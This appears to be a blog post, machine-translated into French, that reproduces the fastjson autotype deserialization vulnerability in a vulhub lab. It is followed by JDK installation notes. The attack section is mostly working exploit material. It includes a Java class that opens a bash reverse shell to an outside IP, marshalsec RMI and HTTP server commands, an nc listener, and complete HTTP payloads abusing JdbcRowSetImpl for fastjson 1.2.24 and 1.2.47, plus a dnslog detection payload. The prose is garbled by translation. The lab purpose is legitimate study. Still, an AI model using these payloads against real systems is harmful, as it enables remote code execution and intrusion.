当前位置:网站首页>Réplication de vulnérabilité - désrialisation fastjson
Réplication de vulnérabilité - désrialisation fastjson
2022-07-07 08:10:00 【_ Bar _ S1mple】
Table des matières
Description de la vulnérabilité
Exploitation des vulnérabilités
FastjsonDétection des vulnérabilités
Description de la vulnérabilité
fastjsonOffreautotypeFonction,Dans le processus de demande,Nous pouvons modifier le paquet de demande [email protected] de,Pour désérialiser au type spécifié,EtfastjsonLes propriétés de la classe sont définies et acquises lors de la désrialisation,S'il y a des méthodes malveillantes dans la classe,Cela peut causer des problèmes comme l'exécution du Code.
Replay of vulnerability
L'environnement de vulnérabilité ici utilise principalementvulhubLes deux.fastjsonConstruction de vulnérabilités,Accès après la construction8090Le port apparaît comme suit
Exploitation des vulnérabilités
Nous avons besoin devpsOuvrez unRMIAppel de serviceclassDocumentation,D'abord, nous créonstest.java Pour rebondir shell,Utilisez les commandesjavac test.javaCompilation Buildtest.class( Tout l'environnement expérimental est basé sur java8Sur la base de)
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}AidemarshalsecProjet ouvertrmiServices,Écouter9999Port,Et faire charger la classe distantetest.class
Nous devons d'abord compiler la construction marshalsec-0.0.3-SNAPSHOT-all.jar
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Commencez par unhttp Le service est facile à charger test.class
# python2
python2 -m SimpleHTTPServer
# python3
python3 -m http.serverEt ensuite nous allons commencer RMISurveillance du service9999Port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999Le serveur local écoute le port dans le fichier
nc -nvlp xxxxToutes les opérations ci - dessus sont effectuées sur le même serveur

fastjson 1.2.24
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/test",
"autoCommit":true
}
}Annexe
FastjsonDétection des vulnérabilités
Inhttp://dnslog.cn/Générer un nom de domaine au hasard,Et ensuite construirepayload
{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}Oui.payload Envoyer dans le corps de la demande ,Sidnslog Un enregistrement existe fastjsonVulnérabilité

Installationjava8
Télécharger l'adresse:https://github.com/frekele/oracle-java/releases
Téléchargerjdk-8u221-linux-x64.tar.gz
OR
sudo apt-get install openjdk-8-jdk
Désinstaller
# Voir l'installationOpenJDKSac
dpkg --list | grep -i jdk
# DésinstallerOpenJDKPaquets connexes
apt-get purge openjdk-*
# Vérifiez tous les OpenJDK Si tous les paquets ont été désinstallés
dpkg --list | grep -i jdkInstallation
# Placer le paquet compressé sur/opt/javaSous la table des matières
mv jdk-8u212-linux-x64.tar.gz /opt/java
# Décompresser
tar -zxvf jdk--8u212-linux-x64.tar.gz
# Configurer les variables d'environnement
Modifier/etc/profileDocumentation
vim /etc/profile
Ajouter les informations suivantes à la fin du texte
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# FairejavaEfficacité environnementale
source /etc/profile
# Voir si l'installation a réussi
java -version边栏推荐
- Summary of redis functions
- Introduction to basic components of wechat applet
- Chip design data download
- Force buckle 145 Binary Tree Postorder Traversal
- Jmeter 的使用
- uniapp 移动端强制更新功能
- 基于Pytorch 框架手动完成线性回归
- Relevant data of current limiting
- These five fishing artifacts are too hot! Programmer: I know, delete it quickly!
- Dedecms collects content without writing rules
猜你喜欢

Thinkcmf6.0安装教程

Call pytorch API to complete linear regression

CDC (change data capture technology), a powerful tool for real-time database synchronization

The simple problem of leetcode is to judge whether the number count of a number is equal to the value of the number
![[step on the pit series] H5 cross domain problem of uniapp](/img/53/bd836a5c5545f51be929d8d123b961.png)
[step on the pit series] H5 cross domain problem of uniapp

Hisense TV starts the developer mode

Main window in QT learning 27 application

【数字IC验证快速入门】15、SystemVerilog学习之基本语法2(操作符、类型转换、循环、Task/Function...内含实践练习)

【数字IC验证快速入门】10、Verilog RTL设计必会的FIFO

Thinkcmf6.0 installation tutorial
随机推荐
Qinglong panel -- Huahua reading
[step on the pit series] H5 cross domain problem of uniapp
C语言二叉树与建堆
Topic not received? Try this
Es FAQ summary
Main window in QT learning 27 application
The largest 3 same digits in the string of leetcode simple question
The simple problem of leetcode is to judge whether the number count of a number is equal to the value of the number
复杂网络建模(一)
[quick start of Digital IC Verification] 17. Basic grammar of SystemVerilog learning 4 (randomization)
Example of file segmentation
Quick analysis of Intranet penetration helps the foreign trade management industry cope with a variety of challenges
Téléchargement des données de conception des puces
Complete linear regression manually based on pytoch framework
复杂网络建模(三)
Codeforce c.strange test and acwing
Implementation of replacement function of shell script
LeetCode简单题之字符串中最大的 3 位相同数字
Jmeter 的使用
Network learning (II) -- Introduction to socket